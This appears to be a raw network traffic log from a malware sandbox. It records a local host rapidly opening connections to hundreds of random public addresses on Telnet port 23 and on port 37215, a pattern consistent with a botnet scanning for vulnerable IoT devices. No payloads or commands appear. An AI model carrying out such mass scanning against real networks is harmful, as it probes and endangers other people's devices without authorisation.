Jan 30, 2025 10:43:06.007441044 CET	63367	23	192.168.2.14	211.212.165.46
Jan 30, 2025 10:43:06.007441998 CET	63367	23	192.168.2.14	182.203.86.164
Jan 30, 2025 10:43:06.007448912 CET	63367	23	192.168.2.14	180.49.237.143
Jan 30, 2025 10:43:06.007481098 CET	63367	23	192.168.2.14	164.71.33.45
Jan 30, 2025 10:43:06.007482052 CET	63367	23	192.168.2.14	220.183.234.218
Jan 30, 2025 10:43:06.007482052 CET	63367	23	192.168.2.14	14.159.39.179
Jan 30, 2025 10:43:06.007483006 CET	63367	23	192.168.2.14	171.241.195.204
Jan 30, 2025 10:43:06.007499933 CET	63367	23	192.168.2.14	38.234.99.105
Jan 30, 2025 10:43:06.007500887 CET	63367	23	192.168.2.14	25.210.150.64
Jan 30, 2025 10:43:06.007499933 CET	63367	23	192.168.2.14	103.216.77.149
Jan 30, 2025 10:43:06.007502079 CET	63367	23	192.168.2.14	157.189.35.112
Jan 30, 2025 10:43:06.007502079 CET	63367	23	192.168.2.14	78.138.194.67
Jan 30, 2025 10:43:06.007502079 CET	63367	23	192.168.2.14	212.87.159.124
Jan 30, 2025 10:43:06.007504940 CET	63367	23	192.168.2.14	97.31.201.106
Jan 30, 2025 10:43:06.007504940 CET	63367	23	192.168.2.14	175.31.176.16
Jan 30, 2025 10:43:06.007504940 CET	63367	23	192.168.2.14	91.242.114.155
Jan 30, 2025 10:43:06.007504940 CET	63367	23	192.168.2.14	148.248.114.227
Jan 30, 2025 10:43:06.007508039 CET	63367	23	192.168.2.14	139.150.133.226
Jan 30, 2025 10:43:06.007508039 CET	63367	23	192.168.2.14	199.249.245.23
Jan 30, 2025 10:43:06.007508993 CET	63367	23	192.168.2.14	66.247.28.123
Jan 30, 2025 10:43:06.007508993 CET	63367	23	192.168.2.14	208.252.35.195
Jan 30, 2025 10:43:06.007509947 CET	63367	23	192.168.2.14	94.86.58.179
Jan 30, 2025 10:43:06.007510900 CET	63367	23	192.168.2.14	190.34.243.159
Jan 30, 2025 10:43:06.007524014 CET	63367	23	192.168.2.14	201.129.200.181
Jan 30, 2025 10:43:06.007524014 CET	63367	23	192.168.2.14	69.22.71.179
Jan 30, 2025 10:43:06.007525921 CET	63367	23	192.168.2.14	172.195.71.18
Jan 30, 2025 10:43:06.007525921 CET	63367	23	192.168.2.14	71.86.23.92
Jan 30, 2025 10:43:06.007525921 CET	63367	23	192.168.2.14	57.189.243.103
Jan 30, 2025 10:43:06.007529020 CET	63367	23	192.168.2.14	23.211.28.77
Jan 30, 2025 10:43:06.007530928 CET	63367	23	192.168.2.14	116.30.183.4
Jan 30, 2025 10:43:06.007534027 CET	63367	23	192.168.2.14	122.74.201.200
Jan 30, 2025 10:43:06.007534981 CET	63367	23	192.168.2.14	144.201.105.54
Jan 30, 2025 10:43:06.007536888 CET	63367	23	192.168.2.14	108.55.156.9
Jan 30, 2025 10:43:06.007539034 CET	63367	23	192.168.2.14	209.79.56.207
Jan 30, 2025 10:43:06.007544041 CET	63367	23	192.168.2.14	1.254.133.241
Jan 30, 2025 10:43:06.007544994 CET	63367	23	192.168.2.14	132.37.135.56
Jan 30, 2025 10:43:06.007545948 CET	63367	23	192.168.2.14	25.37.200.88
Jan 30, 2025 10:43:06.007551908 CET	63367	23	192.168.2.14	155.150.40.129
Jan 30, 2025 10:43:06.007555962 CET	63367	23	192.168.2.14	50.253.117.75
Jan 30, 2025 10:43:06.007555962 CET	63367	23	192.168.2.14	8.100.7.199
Jan 30, 2025 10:43:06.007555962 CET	63367	23	192.168.2.14	156.146.230.38
Jan 30, 2025 10:43:06.007558107 CET	63367	23	192.168.2.14	170.2.76.33
Jan 30, 2025 10:43:06.007558107 CET	63367	23	192.168.2.14	34.61.145.23
Jan 30, 2025 10:43:06.007555962 CET	63367	23	192.168.2.14	156.61.215.5
Jan 30, 2025 10:43:06.007558107 CET	63367	23	192.168.2.14	105.98.41.165
Jan 30, 2025 10:43:06.007565975 CET	63367	23	192.168.2.14	169.181.195.172
Jan 30, 2025 10:43:06.007565975 CET	63367	23	192.168.2.14	218.225.10.93
Jan 30, 2025 10:43:06.007567883 CET	63367	23	192.168.2.14	1.192.227.3
Jan 30, 2025 10:43:06.007567883 CET	63367	23	192.168.2.14	87.146.69.162
Jan 30, 2025 10:43:06.007570028 CET	63367	23	192.168.2.14	43.174.228.213
Jan 30, 2025 10:43:06.007570028 CET	63367	23	192.168.2.14	173.98.88.28
Jan 30, 2025 10:43:06.007576942 CET	63367	23	192.168.2.14	165.115.196.47
Jan 30, 2025 10:43:06.007577896 CET	63367	23	192.168.2.14	189.52.255.239
Jan 30, 2025 10:43:06.007586956 CET	63367	23	192.168.2.14	102.225.81.35
Jan 30, 2025 10:43:06.007586956 CET	63367	23	192.168.2.14	211.166.207.196
Jan 30, 2025 10:43:06.007586956 CET	63367	23	192.168.2.14	103.116.14.37
Jan 30, 2025 10:43:06.007586956 CET	63367	23	192.168.2.14	115.36.76.117
Jan 30, 2025 10:43:06.007586956 CET	63367	23	192.168.2.14	65.173.49.188
Jan 30, 2025 10:43:06.007592916 CET	63367	23	192.168.2.14	35.94.102.252
Jan 30, 2025 10:43:06.007596970 CET	63367	23	192.168.2.14	98.96.240.196
Jan 30, 2025 10:43:06.007600069 CET	63367	23	192.168.2.14	35.66.222.41
Jan 30, 2025 10:43:06.007600069 CET	63367	23	192.168.2.14	143.11.79.113
Jan 30, 2025 10:43:06.007606030 CET	63367	23	192.168.2.14	103.18.112.79
Jan 30, 2025 10:43:06.007606030 CET	63367	23	192.168.2.14	129.157.25.77
Jan 30, 2025 10:43:06.007610083 CET	63367	23	192.168.2.14	198.99.130.107
Jan 30, 2025 10:43:06.007611990 CET	63367	23	192.168.2.14	177.1.117.186
Jan 30, 2025 10:43:06.007616043 CET	63367	23	192.168.2.14	37.84.186.228
Jan 30, 2025 10:43:06.007626057 CET	63367	23	192.168.2.14	67.107.145.19
Jan 30, 2025 10:43:06.007632017 CET	63367	23	192.168.2.14	47.34.229.201
Jan 30, 2025 10:43:06.007635117 CET	63367	23	192.168.2.14	117.27.138.148
Jan 30, 2025 10:43:06.007638931 CET	63367	23	192.168.2.14	51.149.247.209
Jan 30, 2025 10:43:06.007652044 CET	63367	23	192.168.2.14	88.242.108.212
Jan 30, 2025 10:43:06.007652044 CET	63367	23	192.168.2.14	65.36.202.73
Jan 30, 2025 10:43:06.007666111 CET	63367	23	192.168.2.14	198.80.38.13
Jan 30, 2025 10:43:06.007672071 CET	63367	23	192.168.2.14	133.12.160.245
Jan 30, 2025 10:43:06.007673025 CET	63367	23	192.168.2.14	83.128.158.103
Jan 30, 2025 10:43:06.007678986 CET	63367	23	192.168.2.14	153.63.163.52
Jan 30, 2025 10:43:06.007688046 CET	63367	23	192.168.2.14	187.114.231.15
Jan 30, 2025 10:43:06.007689953 CET	63367	23	192.168.2.14	39.128.130.224
Jan 30, 2025 10:43:06.007694006 CET	63367	23	192.168.2.14	37.96.54.154
Jan 30, 2025 10:43:06.007695913 CET	63367	23	192.168.2.14	66.164.114.34
Jan 30, 2025 10:43:06.007709980 CET	63367	23	192.168.2.14	206.188.88.32
Jan 30, 2025 10:43:06.007713079 CET	63367	23	192.168.2.14	18.7.104.109
Jan 30, 2025 10:43:06.007719994 CET	63367	23	192.168.2.14	49.115.204.63
Jan 30, 2025 10:43:06.007730007 CET	63367	23	192.168.2.14	150.141.107.1
Jan 30, 2025 10:43:06.007734060 CET	63367	23	192.168.2.14	72.194.242.218
Jan 30, 2025 10:43:06.007745981 CET	63367	23	192.168.2.14	179.63.2.203
Jan 30, 2025 10:43:06.007746935 CET	63367	23	192.168.2.14	50.245.134.71
Jan 30, 2025 10:43:06.007749081 CET	63367	23	192.168.2.14	76.47.155.76
Jan 30, 2025 10:43:06.007759094 CET	63367	23	192.168.2.14	47.163.134.147
Jan 30, 2025 10:43:06.007760048 CET	63367	23	192.168.2.14	14.13.18.25
Jan 30, 2025 10:43:06.007774115 CET	63367	23	192.168.2.14	146.52.245.221
Jan 30, 2025 10:43:06.007775068 CET	63367	23	192.168.2.14	141.64.8.177
Jan 30, 2025 10:43:06.007774115 CET	63367	23	192.168.2.14	84.91.32.41
Jan 30, 2025 10:43:06.007777929 CET	63367	23	192.168.2.14	221.184.20.204
Jan 30, 2025 10:43:06.007778883 CET	63367	23	192.168.2.14	4.207.157.111
Jan 30, 2025 10:43:06.007782936 CET	63367	23	192.168.2.14	223.63.168.139
Jan 30, 2025 10:43:06.007782936 CET	63367	23	192.168.2.14	65.143.85.160
Jan 30, 2025 10:43:06.007788897 CET	63367	23	192.168.2.14	14.35.133.42
Jan 30, 2025 10:43:06.007790089 CET	63367	23	192.168.2.14	63.183.190.62
Jan 30, 2025 10:43:06.007791996 CET	63367	23	192.168.2.14	213.197.114.101
Jan 30, 2025 10:43:06.007797003 CET	63367	23	192.168.2.14	84.134.194.39
Jan 30, 2025 10:43:06.007802963 CET	63367	23	192.168.2.14	207.104.146.9
Jan 30, 2025 10:43:06.007802963 CET	63367	23	192.168.2.14	25.201.50.177
Jan 30, 2025 10:43:06.007806063 CET	63367	23	192.168.2.14	140.66.209.210
Jan 30, 2025 10:43:06.007806063 CET	63367	23	192.168.2.14	24.117.142.195
Jan 30, 2025 10:43:06.007807970 CET	63367	23	192.168.2.14	221.232.121.178
Jan 30, 2025 10:43:06.007807970 CET	63367	23	192.168.2.14	198.234.143.181
Jan 30, 2025 10:43:06.007807970 CET	63367	23	192.168.2.14	66.79.171.252
Jan 30, 2025 10:43:06.007814884 CET	63367	23	192.168.2.14	128.182.167.48
Jan 30, 2025 10:43:06.007814884 CET	63367	23	192.168.2.14	128.176.17.28
Jan 30, 2025 10:43:06.007818937 CET	63367	23	192.168.2.14	205.188.252.227
Jan 30, 2025 10:43:06.007818937 CET	63367	23	192.168.2.14	34.144.215.98
Jan 30, 2025 10:43:06.007823944 CET	63367	23	192.168.2.14	90.74.150.132
Jan 30, 2025 10:43:06.007828951 CET	63367	23	192.168.2.14	105.126.72.124
Jan 30, 2025 10:43:06.007828951 CET	63367	23	192.168.2.14	51.220.119.102
Jan 30, 2025 10:43:06.007829905 CET	63367	23	192.168.2.14	164.253.7.214
Jan 30, 2025 10:43:06.007848978 CET	63367	23	192.168.2.14	151.164.232.128
Jan 30, 2025 10:43:06.007852077 CET	63367	23	192.168.2.14	212.146.157.14
Jan 30, 2025 10:43:06.007855892 CET	63367	23	192.168.2.14	151.247.59.2
Jan 30, 2025 10:43:06.007862091 CET	63367	23	192.168.2.14	150.31.136.131
Jan 30, 2025 10:43:06.007862091 CET	63367	23	192.168.2.14	5.47.14.185
Jan 30, 2025 10:43:06.007874012 CET	63367	23	192.168.2.14	190.248.223.54
Jan 30, 2025 10:43:06.007879972 CET	63367	23	192.168.2.14	184.68.66.54
Jan 30, 2025 10:43:06.007883072 CET	63367	23	192.168.2.14	207.172.164.75
Jan 30, 2025 10:43:06.007889032 CET	63367	23	192.168.2.14	98.225.87.112
Jan 30, 2025 10:43:06.007899046 CET	63367	23	192.168.2.14	191.224.194.33
Jan 30, 2025 10:43:06.007900000 CET	63367	23	192.168.2.14	140.233.247.26
Jan 30, 2025 10:43:06.007913113 CET	63367	23	192.168.2.14	192.18.170.20
Jan 30, 2025 10:43:06.007917881 CET	63367	23	192.168.2.14	92.105.210.70
Jan 30, 2025 10:43:06.007930994 CET	63367	23	192.168.2.14	150.227.68.254
Jan 30, 2025 10:43:06.007941961 CET	63367	23	192.168.2.14	132.107.205.246
Jan 30, 2025 10:43:06.007942915 CET	63367	23	192.168.2.14	206.188.240.210
Jan 30, 2025 10:43:06.007946014 CET	63367	23	192.168.2.14	210.148.181.67
Jan 30, 2025 10:43:06.007946014 CET	63367	23	192.168.2.14	41.94.157.236
Jan 30, 2025 10:43:06.007958889 CET	63367	23	192.168.2.14	44.84.204.182
Jan 30, 2025 10:43:06.007958889 CET	63367	23	192.168.2.14	74.102.127.96
Jan 30, 2025 10:43:06.007968903 CET	63367	23	192.168.2.14	210.85.252.100
Jan 30, 2025 10:43:06.007972956 CET	63367	23	192.168.2.14	152.208.150.196
Jan 30, 2025 10:43:06.007980108 CET	63367	23	192.168.2.14	20.122.162.172
Jan 30, 2025 10:43:06.007991076 CET	63367	23	192.168.2.14	131.185.187.196
Jan 30, 2025 10:43:06.008004904 CET	63367	23	192.168.2.14	116.139.66.64
Jan 30, 2025 10:43:06.008007050 CET	63367	23	192.168.2.14	153.54.1.64
Jan 30, 2025 10:43:06.008011103 CET	63367	23	192.168.2.14	134.240.172.223
Jan 30, 2025 10:43:06.008012056 CET	63367	23	192.168.2.14	109.159.237.173
Jan 30, 2025 10:43:06.008027077 CET	63367	23	192.168.2.14	202.224.132.144
Jan 30, 2025 10:43:06.008028030 CET	63367	23	192.168.2.14	23.209.108.59
Jan 30, 2025 10:43:06.008033037 CET	63367	23	192.168.2.14	128.247.169.4
Jan 30, 2025 10:43:06.008037090 CET	63367	23	192.168.2.14	167.68.246.122
Jan 30, 2025 10:43:06.008043051 CET	63367	23	192.168.2.14	104.55.253.100
Jan 30, 2025 10:43:06.008058071 CET	63367	23	192.168.2.14	193.206.10.92
Jan 30, 2025 10:43:06.008061886 CET	63367	23	192.168.2.14	49.74.140.196
Jan 30, 2025 10:43:06.008061886 CET	63367	23	192.168.2.14	154.109.219.163
Jan 30, 2025 10:43:06.008061886 CET	63367	23	192.168.2.14	221.142.5.219
Jan 30, 2025 10:43:06.008064985 CET	63367	23	192.168.2.14	194.150.95.28
Jan 30, 2025 10:43:06.008066893 CET	63367	23	192.168.2.14	217.4.89.136
Jan 30, 2025 10:43:06.008073092 CET	63367	23	192.168.2.14	68.79.18.171
Jan 30, 2025 10:43:06.008086920 CET	63367	23	192.168.2.14	99.252.207.204
Jan 30, 2025 10:43:06.008086920 CET	63367	23	192.168.2.14	19.25.25.169
Jan 30, 2025 10:43:06.008090973 CET	63367	23	192.168.2.14	200.133.220.126
Jan 30, 2025 10:43:06.008100033 CET	63367	23	192.168.2.14	137.243.166.24
Jan 30, 2025 10:43:06.008111000 CET	63367	23	192.168.2.14	120.216.81.5
Jan 30, 2025 10:43:06.008111000 CET	63367	23	192.168.2.14	196.53.162.78
Jan 30, 2025 10:43:06.008119106 CET	63367	23	192.168.2.14	188.219.16.237
Jan 30, 2025 10:43:06.008121967 CET	63367	23	192.168.2.14	8.1.244.245
Jan 30, 2025 10:43:06.008124113 CET	63367	23	192.168.2.14	147.224.67.50
Jan 30, 2025 10:43:06.008136988 CET	63367	23	192.168.2.14	156.145.200.254
Jan 30, 2025 10:43:06.008141994 CET	63367	23	192.168.2.14	54.229.8.235
Jan 30, 2025 10:43:06.008146048 CET	63367	23	192.168.2.14	171.234.165.113
Jan 30, 2025 10:43:06.008153915 CET	63367	23	192.168.2.14	122.104.193.27
Jan 30, 2025 10:43:06.008160114 CET	63367	23	192.168.2.14	79.236.16.80
Jan 30, 2025 10:43:06.008172035 CET	63367	23	192.168.2.14	14.93.78.151
Jan 30, 2025 10:43:06.008176088 CET	63367	23	192.168.2.14	148.193.210.187
Jan 30, 2025 10:43:06.008188963 CET	63367	23	192.168.2.14	207.236.144.58
Jan 30, 2025 10:43:06.009814024 CET	23	47980	153.215.19.51	192.168.2.14
Jan 30, 2025 10:43:06.010485888 CET	23	48154	153.215.19.51	192.168.2.14
Jan 30, 2025 10:43:06.010536909 CET	48154	23	192.168.2.14	153.215.19.51
Jan 30, 2025 10:43:06.011137009 CET	23	63367	79.0.168.61	192.168.2.14
Jan 30, 2025 10:43:06.011149883 CET	23	63367	148.63.164.233	192.168.2.14
Jan 30, 2025 10:43:06.011159897 CET	23	63367	184.237.167.22	192.168.2.14
Jan 30, 2025 10:43:06.011171103 CET	23	63367	81.136.155.111	192.168.2.14
Jan 30, 2025 10:43:06.011181116 CET	23	63367	25.183.227.101	192.168.2.14
Jan 30, 2025 10:43:06.011192083 CET	23	63367	46.74.53.33	192.168.2.14
Jan 30, 2025 10:43:06.011219978 CET	63367	23	192.168.2.14	79.0.168.61
Jan 30, 2025 10:43:06.011224031 CET	63367	23	192.168.2.14	25.183.227.101
Jan 30, 2025 10:43:06.011225939 CET	63367	23	192.168.2.14	148.63.164.233
Jan 30, 2025 10:43:06.011225939 CET	63367	23	192.168.2.14	184.237.167.22
Jan 30, 2025 10:43:06.011229992 CET	63367	23	192.168.2.14	81.136.155.111
Jan 30, 2025 10:43:06.011233091 CET	63367	23	192.168.2.14	46.74.53.33
Jan 30, 2025 10:43:06.011395931 CET	23	63367	173.86.98.242	192.168.2.14
Jan 30, 2025 10:43:06.011406898 CET	23	63367	196.123.128.100	192.168.2.14
Jan 30, 2025 10:43:06.011415958 CET	23	63367	159.178.101.59	192.168.2.14
Jan 30, 2025 10:43:06.011425972 CET	23	63367	208.249.181.67	192.168.2.14
Jan 30, 2025 10:43:06.011435986 CET	23	63367	159.168.109.147	192.168.2.14
Jan 30, 2025 10:43:06.011440039 CET	63367	23	192.168.2.14	173.86.98.242
Jan 30, 2025 10:43:06.011440039 CET	63367	23	192.168.2.14	196.123.128.100
Jan 30, 2025 10:43:06.011445999 CET	23	63367	92.98.117.29	192.168.2.14
Jan 30, 2025 10:43:06.011456013 CET	23	63367	66.42.235.178	192.168.2.14
Jan 30, 2025 10:43:06.011461020 CET	63367	23	192.168.2.14	159.178.101.59
Jan 30, 2025 10:43:06.011462927 CET	63367	23	192.168.2.14	208.249.181.67
Jan 30, 2025 10:43:06.011466026 CET	23	63367	27.232.195.54	192.168.2.14
Jan 30, 2025 10:43:06.011476040 CET	23	63367	223.128.7.23	192.168.2.14
Jan 30, 2025 10:43:06.011477947 CET	63367	23	192.168.2.14	159.168.109.147
Jan 30, 2025 10:43:06.011481047 CET	63367	23	192.168.2.14	92.98.117.29
Jan 30, 2025 10:43:06.011486053 CET	23	63367	100.51.228.98	192.168.2.14
Jan 30, 2025 10:43:06.011486053 CET	63367	23	192.168.2.14	66.42.235.178
Jan 30, 2025 10:43:06.011497021 CET	63367	23	192.168.2.14	27.232.195.54
Jan 30, 2025 10:43:06.011501074 CET	23	63367	174.101.15.29	192.168.2.14
Jan 30, 2025 10:43:06.011517048 CET	63367	23	192.168.2.14	223.128.7.23
Jan 30, 2025 10:43:06.011528969 CET	63367	23	192.168.2.14	100.51.228.98
Jan 30, 2025 10:43:06.011528969 CET	63367	23	192.168.2.14	174.101.15.29
Jan 30, 2025 10:43:06.011770010 CET	23	63367	140.126.29.36	192.168.2.14
Jan 30, 2025 10:43:06.011780977 CET	23	63367	165.250.254.248	192.168.2.14
Jan 30, 2025 10:43:06.011790037 CET	23	63367	57.55.102.88	192.168.2.14
Jan 30, 2025 10:43:06.011816978 CET	63367	23	192.168.2.14	140.126.29.36
Jan 30, 2025 10:43:06.011816978 CET	63367	23	192.168.2.14	165.250.254.248
Jan 30, 2025 10:43:06.011821985 CET	23	63367	86.254.37.215	192.168.2.14
Jan 30, 2025 10:43:06.011831045 CET	63367	23	192.168.2.14	57.55.102.88
Jan 30, 2025 10:43:06.011842012 CET	23	63367	212.240.126.191	192.168.2.14
Jan 30, 2025 10:43:06.011852026 CET	23	63367	178.238.254.175	192.168.2.14
Jan 30, 2025 10:43:06.011862040 CET	23	63367	218.35.244.122	192.168.2.14
Jan 30, 2025 10:43:06.011866093 CET	63367	23	192.168.2.14	86.254.37.215
Jan 30, 2025 10:43:06.011873007 CET	23	63367	196.106.55.64	192.168.2.14
Jan 30, 2025 10:43:06.011881113 CET	63367	23	192.168.2.14	212.240.126.191
Jan 30, 2025 10:43:06.011889935 CET	63367	23	192.168.2.14	178.238.254.175
Jan 30, 2025 10:43:06.011890888 CET	23	63367	81.223.194.125	192.168.2.14
Jan 30, 2025 10:43:06.011900902 CET	23	63367	139.176.41.227	192.168.2.14
Jan 30, 2025 10:43:06.011903048 CET	63367	23	192.168.2.14	218.35.244.122
Jan 30, 2025 10:43:06.011905909 CET	63367	23	192.168.2.14	196.106.55.64
Jan 30, 2025 10:43:06.011910915 CET	23	63367	144.131.169.154	192.168.2.14
Jan 30, 2025 10:43:06.011921883 CET	23	63367	217.111.164.201	192.168.2.14
Jan 30, 2025 10:43:06.011930943 CET	23	63367	217.20.252.38	192.168.2.14
Jan 30, 2025 10:43:06.011931896 CET	63367	23	192.168.2.14	139.176.41.227
Jan 30, 2025 10:43:06.011933088 CET	63367	23	192.168.2.14	81.223.194.125
Jan 30, 2025 10:43:06.011945009 CET	23	63367	114.68.122.118	192.168.2.14
Jan 30, 2025 10:43:06.011948109 CET	63367	23	192.168.2.14	144.131.169.154
Jan 30, 2025 10:43:06.011948109 CET	63367	23	192.168.2.14	217.111.164.201
Jan 30, 2025 10:43:06.011955976 CET	23	63367	46.91.207.21	192.168.2.14
Jan 30, 2025 10:43:06.011967897 CET	23	63367	51.76.56.75	192.168.2.14
Jan 30, 2025 10:43:06.011974096 CET	63367	23	192.168.2.14	217.20.252.38
Jan 30, 2025 10:43:06.011982918 CET	23	63367	8.39.68.195	192.168.2.14
Jan 30, 2025 10:43:06.011984110 CET	63367	23	192.168.2.14	114.68.122.118
Jan 30, 2025 10:43:06.011986017 CET	63367	23	192.168.2.14	46.91.207.21
Jan 30, 2025 10:43:06.011991978 CET	23	63367	57.148.112.232	192.168.2.14
Jan 30, 2025 10:43:06.012001038 CET	23	63367	222.246.165.134	192.168.2.14
Jan 30, 2025 10:43:06.012010098 CET	63367	23	192.168.2.14	51.76.56.75
Jan 30, 2025 10:43:06.012017012 CET	23	63367	80.214.211.213	192.168.2.14
Jan 30, 2025 10:43:06.012018919 CET	63367	23	192.168.2.14	8.39.68.195
Jan 30, 2025 10:43:06.012026072 CET	63367	23	192.168.2.14	57.148.112.232
Jan 30, 2025 10:43:06.012034893 CET	23	63367	135.141.233.40	192.168.2.14
Jan 30, 2025 10:43:06.012042046 CET	63367	23	192.168.2.14	222.246.165.134
Jan 30, 2025 10:43:06.012046099 CET	23	63367	200.106.15.251	192.168.2.14
Jan 30, 2025 10:43:06.012057066 CET	23	63367	61.33.123.225	192.168.2.14
Jan 30, 2025 10:43:06.012059927 CET	63367	23	192.168.2.14	80.214.211.213
Jan 30, 2025 10:43:06.012067080 CET	23	63367	187.21.151.233	192.168.2.14
Jan 30, 2025 10:43:06.012073994 CET	63367	23	192.168.2.14	135.141.233.40
Jan 30, 2025 10:43:06.012078047 CET	63367	23	192.168.2.14	200.106.15.251
Jan 30, 2025 10:43:06.012084961 CET	23	63367	217.173.135.150	192.168.2.14
Jan 30, 2025 10:43:06.012098074 CET	23	63367	38.254.8.183	192.168.2.14
Jan 30, 2025 10:43:06.012099028 CET	63367	23	192.168.2.14	61.33.123.225
Jan 30, 2025 10:43:06.012119055 CET	63367	23	192.168.2.14	187.21.151.233
Jan 30, 2025 10:43:06.012121916 CET	63367	23	192.168.2.14	217.173.135.150
Jan 30, 2025 10:43:06.012129068 CET	23	63367	213.65.200.61	192.168.2.14
Jan 30, 2025 10:43:06.012137890 CET	63367	23	192.168.2.14	38.254.8.183
Jan 30, 2025 10:43:06.012139082 CET	23	63367	79.80.191.201	192.168.2.14
Jan 30, 2025 10:43:06.012150049 CET	23	63367	169.186.28.88	192.168.2.14
Jan 30, 2025 10:43:06.012160063 CET	23	63367	85.169.104.199	192.168.2.14
Jan 30, 2025 10:43:06.012168884 CET	63367	23	192.168.2.14	79.80.191.201
Jan 30, 2025 10:43:06.012170076 CET	63367	23	192.168.2.14	213.65.200.61
Jan 30, 2025 10:43:06.012180090 CET	23	63367	201.22.168.113	192.168.2.14
Jan 30, 2025 10:43:06.012185097 CET	63367	23	192.168.2.14	169.186.28.88
Jan 30, 2025 10:43:06.012188911 CET	63367	23	192.168.2.14	85.169.104.199
Jan 30, 2025 10:43:06.012191057 CET	23	63367	168.109.49.193	192.168.2.14
Jan 30, 2025 10:43:06.012200117 CET	23	63367	101.10.235.31	192.168.2.14
Jan 30, 2025 10:43:06.012211084 CET	23	63367	133.112.109.230	192.168.2.14
Jan 30, 2025 10:43:06.012221098 CET	23	63367	117.61.64.23	192.168.2.14
Jan 30, 2025 10:43:06.012221098 CET	63367	23	192.168.2.14	201.22.168.113
Jan 30, 2025 10:43:06.012223959 CET	63367	23	192.168.2.14	168.109.49.193
Jan 30, 2025 10:43:06.012229919 CET	23	63367	188.125.197.238	192.168.2.14
Jan 30, 2025 10:43:06.012238979 CET	63367	23	192.168.2.14	101.10.235.31
Jan 30, 2025 10:43:06.012238979 CET	63367	23	192.168.2.14	133.112.109.230
Jan 30, 2025 10:43:06.012239933 CET	23	63367	14.151.240.160	192.168.2.14
Jan 30, 2025 10:43:06.012249947 CET	63367	23	192.168.2.14	117.61.64.23
Jan 30, 2025 10:43:06.012274027 CET	63367	23	192.168.2.14	188.125.197.238
Jan 30, 2025 10:43:06.012274981 CET	63367	23	192.168.2.14	14.151.240.160
Jan 30, 2025 10:43:06.123308897 CET	58744	37215	192.168.2.14	41.180.130.242
Jan 30, 2025 10:43:06.123308897 CET	39370	37215	192.168.2.14	41.99.242.230
Jan 30, 2025 10:43:06.123308897 CET	43494	37215	192.168.2.14	41.46.127.52
Jan 30, 2025 10:43:06.123321056 CET	35772	37215	192.168.2.14	197.191.245.38
Jan 30, 2025 10:43:06.123321056 CET	52950	37215	192.168.2.14	156.55.180.225
Jan 30, 2025 10:43:06.123321056 CET	37734	37215	192.168.2.14	156.244.153.180
Jan 30, 2025 10:43:06.123320103 CET	36896	37215	192.168.2.14	197.103.208.53
Jan 30, 2025 10:43:06.123321056 CET	41240	37215	192.168.2.14	156.225.22.253
Jan 30, 2025 10:43:06.123322964 CET	43722	37215	192.168.2.14	197.50.34.79
Jan 30, 2025 10:43:06.123321056 CET	36088	37215	192.168.2.14	197.171.102.195
Jan 30, 2025 10:43:06.123321056 CET	60520	37215	192.168.2.14	197.149.252.27
Jan 30, 2025 10:43:06.123321056 CET	42848	37215	192.168.2.14	41.175.68.121
Jan 30, 2025 10:43:06.123323917 CET	49802	37215	192.168.2.14	156.46.13.57
Jan 30, 2025 10:43:06.123337984 CET	39276	37215	192.168.2.14	197.29.13.133
Jan 30, 2025 10:43:06.123337984 CET	52964	37215	192.168.2.14	156.130.242.158
Jan 30, 2025 10:43:06.123337984 CET	34656	37215	192.168.2.14	156.62.15.248
Jan 30, 2025 10:43:06.123337984 CET	43048	37215	192.168.2.14	197.136.191.103
Jan 30, 2025 10:43:06.123337984 CET	33914	37215	192.168.2.14	197.110.199.188
Jan 30, 2025 10:43:06.123353004 CET	39546	37215	192.168.2.14	156.83.177.40
Jan 30, 2025 10:43:06.123362064 CET	59718	37215	192.168.2.14	41.34.237.9
Jan 30, 2025 10:43:06.123362064 CET	58430	37215	192.168.2.14	156.30.253.189
Jan 30, 2025 10:43:06.123362064 CET	48142	37215	192.168.2.14	156.219.241.54
Jan 30, 2025 10:43:06.123363972 CET	44264	37215	192.168.2.14	41.38.203.130
Jan 30, 2025 10:43:06.123367071 CET	47108	37215	192.168.2.14	41.112.75.126
Jan 30, 2025 10:43:06.123363972 CET	39710	37215	192.168.2.14	156.198.8.184
Jan 30, 2025 10:43:06.123367071 CET	57382	37215	192.168.2.14	156.213.149.65
Jan 30, 2025 10:43:06.123369932 CET	39234	37215	192.168.2.14	156.194.175.161
Jan 30, 2025 10:43:06.123369932 CET	52512	37215	192.168.2.14	156.177.123.236
Jan 30, 2025 10:43:06.123370886 CET	60554	37215	192.168.2.14	156.1.4.40
Jan 30, 2025 10:43:06.123389006 CET	52562	37215	192.168.2.14	156.83.97.125
Jan 30, 2025 10:43:06.123389959 CET	52798	37215	192.168.2.14	156.104.45.241
Jan 30, 2025 10:43:06.123389959 CET	35322	37215	192.168.2.14	41.211.211.207
Jan 30, 2025 10:43:06.128276110 CET	37215	58744	41.180.130.242	192.168.2.14
Jan 30, 2025 10:43:06.128284931 CET	37215	39370	41.99.242.230	192.168.2.14
Jan 30, 2025 10:43:06.128293037 CET	37215	43494	41.46.127.52	192.168.2.14
Jan 30, 2025 10:43:06.128297091 CET	37215	35772	197.191.245.38	192.168.2.14
Jan 30, 2025 10:43:06.128302097 CET	37215	43722	197.50.34.79	192.168.2.14
Jan 30, 2025 10:43:06.128309965 CET	37215	52950	156.55.180.225	192.168.2.14
Jan 30, 2025 10:43:06.128319025 CET	37215	37734	156.244.153.180	192.168.2.14
Jan 30, 2025 10:43:06.128328085 CET	37215	41240	156.225.22.253	192.168.2.14
Jan 30, 2025 10:43:06.128345013 CET	37215	36088	197.171.102.195	192.168.2.14
Jan 30, 2025 10:43:06.128355026 CET	58744	37215	192.168.2.14	41.180.130.242
Jan 30, 2025 10:43:06.128355026 CET	43494	37215	192.168.2.14	41.46.127.52
Jan 30, 2025 10:43:06.128367901 CET	37215	42848	41.175.68.121	192.168.2.14
Jan 30, 2025 10:43:06.128371000 CET	41240	37215	192.168.2.14	156.225.22.253
Jan 30, 2025 10:43:06.128382921 CET	39370	37215	192.168.2.14	41.99.242.230
Jan 30, 2025 10:43:06.128391981 CET	37215	49802	156.46.13.57	192.168.2.14
Jan 30, 2025 10:43:06.128393888 CET	36088	37215	192.168.2.14	197.171.102.195
Jan 30, 2025 10:43:06.128401995 CET	37215	36896	197.103.208.53	192.168.2.14
Jan 30, 2025 10:43:06.128421068 CET	35772	37215	192.168.2.14	197.191.245.38
Jan 30, 2025 10:43:06.128432989 CET	49802	37215	192.168.2.14	156.46.13.57
Jan 30, 2025 10:43:06.128437042 CET	36896	37215	192.168.2.14	197.103.208.53
Jan 30, 2025 10:43:06.128438950 CET	43722	37215	192.168.2.14	197.50.34.79
Jan 30, 2025 10:43:06.128454924 CET	52950	37215	192.168.2.14	156.55.180.225
